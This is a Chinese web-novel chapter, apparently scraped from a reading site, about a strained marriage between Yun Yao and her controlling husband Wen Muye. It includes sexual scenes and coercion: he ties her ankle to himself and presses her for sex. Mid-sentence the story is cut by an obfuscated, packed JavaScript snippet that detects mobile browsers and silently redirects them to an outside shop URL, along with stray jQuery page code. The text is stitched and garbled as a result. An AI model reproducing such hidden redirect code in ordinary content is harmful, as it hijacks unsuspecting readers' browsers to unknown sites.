被男人滚烫的身体压住,耳边充斥着粗重的喘息声。
云瑶眼神无助的盯着车上方的星空顶,身体像一片在海浪里翻滚的落叶。
她本就吃刚吃过胃药,昏昏沉沉,居然就这么睡过去了。
在梦里,她感觉自己仿佛全身赤裸地被遗忘在拥挤的人群间,人们大笑着注视着她,那种慌乱不安的局促深深裹挟着她。
又过了一会,她好像回到了五年前,那时和闻牧野谈恋爱有一阵了。
两人带着望远镜开车去野外观流星。
结果中途她发烧了,但说什么不肯回去,任性的等着流星雨。
闻牧野只能将她抱在腿上取暖,两人的衣服都很薄。
云瑶感觉到他起反应了,脸一红,便开始乱摸挑逗他。
但闻牧野担心她的身体,就这么生生忍了一宿。
他温热的呼吸扫过她的耳廓,抱着她的手臂也收得更紧了些,“许了什么愿望?”
云瑶喜欢双手环上他的腰,然后把脸埋在他胸口,听着他沉稳有力的心跳小声道:“我许愿你以后都不准欺负我!”
“哎呀,说出来就不准了!”
“那你会欺负我吗?”
天上的星光倒映出闻牧野温柔的笑脸,“当然不会!”
那时的话多坚定啊,可是,人为什么都会变呢?
…
当保姆看着闻牧野衣衫不整地将云瑶抱下车时,更是惊掉了下巴,“这是怎么了?”
云瑶此刻正安静地窝在他怀里,全身只裹着一件衬衫,裸露在外的皮肤晶莹如玉。
闻牧野面上的潮红还未褪去,但语气却很淡,“小点声,她累了,你去准备洗澡水吧!”
说着,便大步将人抱进了房间,给她喂了一点温水。
片刻后,保姆在门外轻轻敲着,“先生,洗澡水已经准备好了。”
闻牧野应了一声,又试了试水温,这才轻柔地将云瑶抱起,放进了浴缸。
保姆正准备上前,闻牧野却挥手,“你去休息吧,我来就好。”
然后便跪在浴缸旁,拿了毛巾开始打沐浴露。
“可您手上的伤不能沾水吧?”
“没事。”
保姆也不敢多看,只将换洗的衣服放好后,便轻手轻脚地离开了。
医生大多有些洁癖,闻牧野显然也不例外。
一寸一寸地帮她擦洗着身上,到了腰部又力道适中地按摩经络,疏解疲劳。
其实自从云瑶中刀之后,住院修养的那一整年,闻牧野做这些事就很熟练了。
可纵然周身被暖意包裹,云瑶依旧睫毛轻颤着,睡得不安稳,好像在做什么噩梦。
闻牧野正用毛巾帮她擦发间的水渍,动作轻柔,似乎怕吵醒了她。
察觉到她在说梦话,便将耳朵贴近了些。
可惜,什么都没听到。
感觉到她脸上有凉意,抬手一摸,发现是眼泪。
怎么哭了?
闻牧野皱眉,用手帮她擦去眼角的泪,看着她就这么静静地躺在床上安眠,心绪复杂。
他竟有些害怕她突然醒来。
因为一旦睁开眼,就又要和自己针锋相对!
第二天。
云瑶醒来时,就感觉身上不太舒服,想要翻个身,却察觉有条胳膊压在自己腰上。
在反应过来身旁的人是谁时,下意识就想推开。
结婚这几年,闻牧野虽然几乎每晚回家住,但也只是睡在床的那一头。
两个人之间的距离,恨不得再躺两个人,今天这是抽什么疯?
但她似乎顾忌什么,确定身侧的男人还睡着时,尽量悄悄地把那只手移开。
因为云瑶知道,人若被吵醒了,自己等下估计就走不成了。
预约了好几天才排上号,可不能耽误了。
然而,当她好不容易爬下床后,脚踝却被什么东西绊了一下。
回头一瞧才发现,不知何时,自己的脚居然被绳子绑了起来。
“你去哪?”
闻牧野随即被惊醒,因为绳子的另一头就绑在他身上,用力一拽,轻松地就将人拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150273|196450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回了被窝,“今天就好好在家待着。”
云瑶已经被这个精致的牢笼困了四年,待够了,“我家不在这。”
闻牧野本来刚醒,脸上还带着些惺忪,听到后脸色瞬间沉了下去,翻身就将人拢在身下,冷笑道:
“你当初不是说过这辈子最幸运的事就是和我组建一个家吗?结婚时你也发过誓的,绝不后悔!这才几年,怎么全都忘得干净?”
云瑶心里一紧,原来他还记得这些,“你不说我早忘了。”
闻牧野明显对这个回答很不满,保持着刚刚的姿势,一只手压在她枕旁,另一只手掀起她的睡衣,要做的事情不言而喻。
云瑶现在对他真是烦得不行,下意识侧过脸,“你不觉得这样很可笑吗?”
闻牧野微愣,但那股劲儿也上来了,非要扳过她的脖子,就让她看着自己。
“我知道你今天急着出门去见人,云瑶,记住,你是我的!你要是记不住的话,我下次就把它纹在你身上!”
云瑶被压在身下,不明白这人怎么能这么无耻!
他怎么好意思说出这种话?
结婚这几年,都是他将自己当作周妍妍的替身,总和外面的女人不清不楚的,现在却又来质问自己?
“叫声老公好不好?你好久没有这样叫我了!”
云瑶没有反应,也不知在想什么,忽然鬼使神差地对他道:“不如我们要个孩子吧?”
闻牧野的脸色一下子变得很难看,抽身而起,开始穿衣服,特意强调:“昨天没来得及戴套,等下别忘了吃药。”
云瑶眸光一凝,似乎还想做最后的尝试,“可你家里不是一直在催吗?”
闻牧野则十分警惕地看着她,“即便他们想要孙子,也轮不到你生!”
轮不到她生…
所以是有比她更合适的,对吗?
云瑶漠然的点点头,摸着自己的小腹,“我知道了,不会给你留麻烦的!”
男人倚在床头看她,有些不明所以。
然而云瑶这次出奇的乖巧,转身侧头躺下,任由眼角的滚烫消失在枕边。